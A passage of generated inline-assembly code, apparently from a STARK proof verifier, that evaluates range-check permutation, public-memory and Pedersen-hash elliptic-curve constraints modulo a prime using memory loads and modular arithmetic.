res := addmod(res,
mulmod(val,
add(/*coefficients[54]*/ mload(0xb00),
mulmod(/*coefficients[55]*/ mload(0xb20),
/*adjustments[7]*/mload(0x4ee0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for public_memory_value_zero: column17_row3.
let val := /*column17_row3*/ mload(0x3260)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 8) - 1.
// val *= denominator_invs[7].
val := mulmod(val, mload(0x47c0), PRIME)
// res += val * (coefficients[56] + coefficients[57] * adjustments[7]).
res := addmod(res,
mulmod(val,
add(/*coefficients[56]*/ mload(0xb40),
mulmod(/*coefficients[57]*/ mload(0xb60),
/*adjustments[7]*/mload(0x4ee0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/init0: (rc16/perm/interaction_elm - column19_row2) * column21_inter1_row1 + column19_row0 - rc16/perm/interaction_elm.
let val := addmod(
addmod(
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column19_row2*/ mload(0x37c0)),
PRIME),
/*column21_inter1_row1*/ mload(0x3ec0),
PRIME),
/*column19_row0*/ mload(0x3780),
PRIME),
sub(PRIME, /*rc16/perm/interaction_elm*/ mload(0x1c0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[58] + coefficients[59] * adjustments[5]).
res := addmod(res,
mulmod(val,
add(/*coefficients[58]*/ mload(0xb80),
mulmod(/*coefficients[59]*/ mload(0xba0),
/*adjustments[5]*/mload(0x4ea0),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/step0: (rc16/perm/interaction_elm - column19_row6) * column21_inter1_row5 - (rc16/perm/interaction_elm - column19_row4) * column21_inter1_row1.
let val := addmod(
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column19_row6*/ mload(0x3840)),
PRIME),
/*column21_inter1_row5*/ mload(0x3f00),
PRIME),
sub(
PRIME,
mulmod(
addmod(
/*rc16/perm/interaction_elm*/ mload(0x1c0),
sub(PRIME, /*column19_row4*/ mload(0x3800)),
PRIME),
/*column21_inter1_row1*/ mload(0x3ec0),
PRIME)),
PRIME)
// Numerator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= numerators[3].
val := mulmod(val, mload(0x4d00), PRIME)
// Denominator: point^(trace_length / 4) - 1.
// val *= denominator_invs[8].
val := mulmod(val, mload(0x47e0), PRIME)
// res += val * (coefficients[60] + coefficients[61] * adjustments[8]).
res := addmod(res,
mulmod(val,
add(/*coefficients[60]*/ mload(0xbc0),
mulmod(/*coefficients[61]*/ mload(0xbe0),
/*adjustments[8]*/mload(0x4f00),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc16/perm/last: column21_inter1_row1 - rc16/perm/public_memory_prod.
let val := addmod(
/*column21_inter1_row1*/ mload(0x3ec0),
sub(PRIME, /*rc16/perm/public_memory_prod*/ mload(0x1e0)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= denominator_invs[9].
val := mulmod(val, mload(0x4800), PRIME)
// res += val * (coefficients[62] + coefficients[63] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[62]*/ mload(0xc00),
mulmod(/*coefficients[63]*/ mload(0xc20),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc16/diff_is_bit: rc16__diff_0 * rc16__diff_0 - rc16__diff_0.
let val := addmod(
mulmod(
/*intermediate_value/rc16/diff_0*/ mload(0x4160),
/*intermediate_value/rc16/diff_0*/ mload(0x4160),
PRIME),
sub(PRIME, /*intermediate_value/rc16/diff_0*/ mload(0x4160)),
PRIME)
// Numerator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= numerators[3].
val := mulmod(val, mload(0x4d00), PRIME)
// Denominator: point^(trace_length / 4) - 1.
// val *= denominator_invs[8].
val := mulmod(val, mload(0x47e0), PRIME)
// res += val * (coefficients[64] + coefficients[65] * adjustments[8]).
res := addmod(res,
mulmod(val,
add(/*coefficients[64]*/ mload(0xc40),
mulmod(/*coefficients[65]*/ mload(0xc60),
/*adjustments[8]*/mload(0x4f00),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc16/minimum: column19_row2 - rc_min.
let val := addmod(/*column19_row2*/ mload(0x37c0), sub(PRIME, /*rc_min*/ mload(0x200)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - 1.
// val *= denominator_invs[3].
val := mulmod(val, mload(0x4740), PRIME)
// res += val * (coefficients[66] + coefficients[67] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[66]*/ mload(0xc80),
mulmod(/*coefficients[67]*/ mload(0xca0),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for rc16/maximum: column19_row2 - rc_max.
let val := addmod(/*column19_row2*/ mload(0x37c0), sub(PRIME, /*rc_max*/ mload(0x220)), PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point - trace_generator^(4 * (trace_length / 4 - 1)).
// val *= denominator_invs[9].
val := mulmod(val, mload(0x4800), PRIME)
// res += val * (coefficients[68] + coefficients[69] * adjustments[4]).
res := addmod(res,
mulmod(val,
add(/*coefficients[68]*/ mload(0xcc0),
mulmod(/*coefficients[69]*/ mload(0xce0),
/*adjustments[4]*/mload(0x4e80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/booleanity_test: pedersen__hash0__ec_subset_sum__bit_0 * (pedersen__hash0__ec_subset_sum__bit_0 - 1).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x4180),
addmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x4180),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[70] + coefficients[71] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[70]*/ mload(0xd00),
mulmod(/*coefficients[71]*/ mload(0xd20),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/bit_extraction_end: column4_row0.
let val := /*column4_row0*/ mload(0x2cc0)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - trace_generator^(63 * trace_length / 64).
// val *= denominator_invs[10].
val := mulmod(val, mload(0x4820), PRIME)
// res += val * (coefficients[72] + coefficients[73] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[72]*/ mload(0xd40),
mulmod(/*coefficients[73]*/ mload(0xd60),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/zeros_tail: column4_row0.
let val := /*column4_row0*/ mload(0x2cc0)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[11].
val := mulmod(val, mload(0x4840), PRIME)
// res += val * (coefficients[74] + coefficients[75] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[74]*/ mload(0xd80),
mulmod(/*coefficients[75]*/ mload(0xda0),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/slope: pedersen__hash0__ec_subset_sum__bit_0 * (column2_row0 - pedersen__points__y) - column3_row0 * (column1_row0 - pedersen__points__x).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x4180),
addmod(
/*column2_row0*/ mload(0x2c20),
sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column3_row0*/ mload(0x2ca0),
addmod(
/*column1_row0*/ mload(0x2b80),
sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[76] + coefficients[77] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[76]*/ mload(0xdc0),
mulmod(/*coefficients[77]*/ mload(0xde0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/x: column3_row0 * column3_row0 - pedersen__hash0__ec_subset_sum__bit_0 * (column1_row0 + pedersen__points__x + column1_row1).
let val := addmod(
mulmod(/*column3_row0*/ mload(0x2ca0), /*column3_row0*/ mload(0x2ca0), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x4180),
addmod(
addmod(
/*column1_row0*/ mload(0x2b80),
/*periodic_column/pedersen/points/x*/ mload(0x0),
PRIME),
/*column1_row1*/ mload(0x2ba0),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[78] + coefficients[79] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[78]*/ mload(0xe00),
mulmod(/*coefficients[79]*/ mload(0xe20),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/add_points/y: pedersen__hash0__ec_subset_sum__bit_0 * (column2_row0 + column2_row1) - column3_row0 * (column1_row0 - column1_row1).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_0*/ mload(0x4180),
addmod(/*column2_row0*/ mload(0x2c20), /*column2_row1*/ mload(0x2c40), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column3_row0*/ mload(0x2ca0),
addmod(/*column1_row0*/ mload(0x2b80), sub(PRIME, /*column1_row1*/ mload(0x2ba0)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[80] + coefficients[81] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[80]*/ mload(0xe40),
mulmod(/*coefficients[81]*/ mload(0xe60),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/copy_point/x: pedersen__hash0__ec_subset_sum__bit_neg_0 * (column1_row1 - column1_row0).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0*/ mload(0x41a0),
addmod(/*column1_row1*/ mload(0x2ba0), sub(PRIME, /*column1_row0*/ mload(0x2b80)), PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[82] + coefficients[83] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[82]*/ mload(0xe80),
mulmod(/*coefficients[83]*/ mload(0xea0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/ec_subset_sum/copy_point/y: pedersen__hash0__ec_subset_sum__bit_neg_0 * (column2_row1 - column2_row0).
let val := mulmod(
/*intermediate_value/pedersen/hash0/ec_subset_sum/bit_neg_0*/ mload(0x41a0),
addmod(/*column2_row1*/ mload(0x2c40), sub(PRIME, /*column2_row0*/ mload(0x2c20)), PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[84] + coefficients[85] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[84]*/ mload(0xec0),
mulmod(/*coefficients[85]*/ mload(0xee0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/copy_point/x: column1_row256 - column1_row255.
let val := addmod(
/*column1_row256*/ mload(0x2be0),
sub(PRIME, /*column1_row255*/ mload(0x2bc0)),
PRIME)
// Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2).
// val *= numerators[5].
val := mulmod(val, mload(0x4d40), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[86] + coefficients[87] * adjustments[11]).
res := addmod(res,
mulmod(val,
add(/*coefficients[86]*/ mload(0xf00),
mulmod(/*coefficients[87]*/ mload(0xf20),
/*adjustments[11]*/mload(0x4f60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/copy_point/y: column2_row256 - column2_row255.
let val := addmod(
/*column2_row256*/ mload(0x2c80),
sub(PRIME, /*column2_row255*/ mload(0x2c60)),
PRIME)
// Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2).
// val *= numerators[5].
val := mulmod(val, mload(0x4d40), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[88] + coefficients[89] * adjustments[11]).
res := addmod(res,
mulmod(val,
add(/*coefficients[88]*/ mload(0xf40),
mulmod(/*coefficients[89]*/ mload(0xf60),
/*adjustments[11]*/mload(0x4f60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/init/x: column1_row0 - pedersen/shift_point.x.
let val := addmod(
/*column1_row0*/ mload(0x2b80),
sub(PRIME, /*pedersen/shift_point.x*/ mload(0x240)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[90] + coefficients[91] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[90]*/ mload(0xf80),
mulmod(/*coefficients[91]*/ mload(0xfa0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash0/init/y: column2_row0 - pedersen/shift_point.y.
let val := addmod(
/*column2_row0*/ mload(0x2c20),
sub(PRIME, /*pedersen/shift_point.y*/ mload(0x260)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[92] + coefficients[93] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[92]*/ mload(0xfc0),
mulmod(/*coefficients[93]*/ mload(0xfe0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/ec_subset_sum/booleanity_test: pedersen__hash1__ec_subset_sum__bit_0 * (pedersen__hash1__ec_subset_sum__bit_0 - 1).
let val := mulmod(
/*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x41c0),
addmod(
/*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x41c0),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[94] + coefficients[95] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[94]*/ mload(0x1000),
mulmod(/*coefficients[95]*/ mload(0x1020),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/ec_subset_sum/bit_extraction_end: column8_row0.
let val := /*column8_row0*/ mload(0x2e60)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - trace_generator^(63 * trace_length / 64).
// val *= denominator_invs[10].
val := mulmod(val, mload(0x4820), PRIME)
// res += val * (coefficients[96] + coefficients[97] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[96]*/ mload(0x1040),
mulmod(/*coefficients[97]*/ mload(0x1060),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/ec_subset_sum/zeros_tail: column8_row0.
let val := /*column8_row0*/ mload(0x2e60)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[11].
val := mulmod(val, mload(0x4840), PRIME)
// res += val * (coefficients[98] + coefficients[99] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[98]*/ mload(0x1080),
mulmod(/*coefficients[99]*/ mload(0x10a0),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/ec_subset_sum/add_points/slope: pedersen__hash1__ec_subset_sum__bit_0 * (column6_row0 - pedersen__points__y) - column7_row0 * (column5_row0 - pedersen__points__x).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x41c0),
addmod(
/*column6_row0*/ mload(0x2dc0),
sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column7_row0*/ mload(0x2e40),
addmod(
/*column5_row0*/ mload(0x2d20),
sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[100] + coefficients[101] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[100]*/ mload(0x10c0),
mulmod(/*coefficients[101]*/ mload(0x10e0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/ec_subset_sum/add_points/x: column7_row0 * column7_row0 - pedersen__hash1__ec_subset_sum__bit_0 * (column5_row0 + pedersen__points__x + column5_row1).
let val := addmod(
mulmod(/*column7_row0*/ mload(0x2e40), /*column7_row0*/ mload(0x2e40), PRIME),
sub(
PRIME,
mulmod(
/*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x41c0),
addmod(
addmod(
/*column5_row0*/ mload(0x2d20),
/*periodic_column/pedersen/points/x*/ mload(0x0),
PRIME),
/*column5_row1*/ mload(0x2d40),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[102] + coefficients[103] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[102]*/ mload(0x1100),
mulmod(/*coefficients[103]*/ mload(0x1120),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/ec_subset_sum/add_points/y: pedersen__hash1__ec_subset_sum__bit_0 * (column6_row0 + column6_row1) - column7_row0 * (column5_row0 - column5_row1).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash1/ec_subset_sum/bit_0*/ mload(0x41c0),
addmod(/*column6_row0*/ mload(0x2dc0), /*column6_row1*/ mload(0x2de0), PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column7_row0*/ mload(0x2e40),
addmod(/*column5_row0*/ mload(0x2d20), sub(PRIME, /*column5_row1*/ mload(0x2d40)), PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[104] + coefficients[105] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[104]*/ mload(0x1140),
mulmod(/*coefficients[105]*/ mload(0x1160),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/ec_subset_sum/copy_point/x: pedersen__hash1__ec_subset_sum__bit_neg_0 * (column5_row1 - column5_row0).
let val := mulmod(
/*intermediate_value/pedersen/hash1/ec_subset_sum/bit_neg_0*/ mload(0x41e0),
addmod(/*column5_row1*/ mload(0x2d40), sub(PRIME, /*column5_row0*/ mload(0x2d20)), PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[106] + coefficients[107] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[106]*/ mload(0x1180),
mulmod(/*coefficients[107]*/ mload(0x11a0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/ec_subset_sum/copy_point/y: pedersen__hash1__ec_subset_sum__bit_neg_0 * (column6_row1 - column6_row0).
let val := mulmod(
/*intermediate_value/pedersen/hash1/ec_subset_sum/bit_neg_0*/ mload(0x41e0),
addmod(/*column6_row1*/ mload(0x2de0), sub(PRIME, /*column6_row0*/ mload(0x2dc0)), PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[108] + coefficients[109] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[108]*/ mload(0x11c0),
mulmod(/*coefficients[109]*/ mload(0x11e0),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/copy_point/x: column5_row256 - column5_row255.
let val := addmod(
/*column5_row256*/ mload(0x2d80),
sub(PRIME, /*column5_row255*/ mload(0x2d60)),
PRIME)
// Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2).
// val *= numerators[5].
val := mulmod(val, mload(0x4d40), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[110] + coefficients[111] * adjustments[11]).
res := addmod(res,
mulmod(val,
add(/*coefficients[110]*/ mload(0x1200),
mulmod(/*coefficients[111]*/ mload(0x1220),
/*adjustments[11]*/mload(0x4f60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/copy_point/y: column6_row256 - column6_row255.
let val := addmod(
/*column6_row256*/ mload(0x2e20),
sub(PRIME, /*column6_row255*/ mload(0x2e00)),
PRIME)
// Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2).
// val *= numerators[5].
val := mulmod(val, mload(0x4d40), PRIME)
// Denominator: point^(trace_length / 256) - 1.
// val *= denominator_invs[12].
val := mulmod(val, mload(0x4860), PRIME)
// res += val * (coefficients[112] + coefficients[113] * adjustments[11]).
res := addmod(res,
mulmod(val,
add(/*coefficients[112]*/ mload(0x1240),
mulmod(/*coefficients[113]*/ mload(0x1260),
/*adjustments[11]*/mload(0x4f60),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/init/x: column5_row0 - pedersen/shift_point.x.
let val := addmod(
/*column5_row0*/ mload(0x2d20),
sub(PRIME, /*pedersen/shift_point.x*/ mload(0x240)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[114] + coefficients[115] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[114]*/ mload(0x1280),
mulmod(/*coefficients[115]*/ mload(0x12a0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash1/init/y: column6_row0 - pedersen/shift_point.y.
let val := addmod(
/*column6_row0*/ mload(0x2dc0),
sub(PRIME, /*pedersen/shift_point.y*/ mload(0x260)),
PRIME)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 512) - 1.
// val *= denominator_invs[13].
val := mulmod(val, mload(0x4880), PRIME)
// res += val * (coefficients[116] + coefficients[117] * adjustments[12]).
res := addmod(res,
mulmod(val,
add(/*coefficients[116]*/ mload(0x12c0),
mulmod(/*coefficients[117]*/ mload(0x12e0),
/*adjustments[12]*/mload(0x4f80),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/ec_subset_sum/booleanity_test: pedersen__hash2__ec_subset_sum__bit_0 * (pedersen__hash2__ec_subset_sum__bit_0 - 1).
let val := mulmod(
/*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x4200),
addmod(
/*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x4200),
sub(PRIME, 1),
PRIME),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
val := mulmod(val, mload(0x46e0), PRIME)
// res += val * (coefficients[118] + coefficients[119] * adjustments[9]).
res := addmod(res,
mulmod(val,
add(/*coefficients[118]*/ mload(0x1300),
mulmod(/*coefficients[119]*/ mload(0x1320),
/*adjustments[9]*/mload(0x4f20),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/ec_subset_sum/bit_extraction_end: column12_row0.
let val := /*column12_row0*/ mload(0x3000)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - trace_generator^(63 * trace_length / 64).
// val *= denominator_invs[10].
val := mulmod(val, mload(0x4820), PRIME)
// res += val * (coefficients[120] + coefficients[121] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[120]*/ mload(0x1340),
mulmod(/*coefficients[121]*/ mload(0x1360),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/ec_subset_sum/zeros_tail: column12_row0.
let val := /*column12_row0*/ mload(0x3000)
// Numerator: 1.
// val *= 1.
// val := mulmod(val, 1, PRIME).
// Denominator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= denominator_invs[11].
val := mulmod(val, mload(0x4840), PRIME)
// res += val * (coefficients[122] + coefficients[123] * adjustments[10]).
res := addmod(res,
mulmod(val,
add(/*coefficients[122]*/ mload(0x1380),
mulmod(/*coefficients[123]*/ mload(0x13a0),
/*adjustments[10]*/mload(0x4f40),
PRIME)),
PRIME),
PRIME)
}
{
// Constraint expression for pedersen/hash2/ec_subset_sum/add_points/slope: pedersen__hash2__ec_subset_sum__bit_0 * (column10_row0 - pedersen__points__y) - column11_row0 * (column9_row0 - pedersen__points__x).
let val := addmod(
mulmod(
/*intermediate_value/pedersen/hash2/ec_subset_sum/bit_0*/ mload(0x4200),
addmod(
/*column10_row0*/ mload(0x2f60),
sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)),
PRIME),
PRIME),
sub(
PRIME,
mulmod(
/*column11_row0*/ mload(0x2fe0),
addmod(
/*column9_row0*/ mload(0x2ec0),
sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)),
PRIME),
PRIME)),
PRIME)
// Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256).
// val *= numerators[4].
val := mulmod(val, mload(0x4d20), PRIME)
// Denominator: point^trace_length - 1.
// val *= denominator_invs[0].
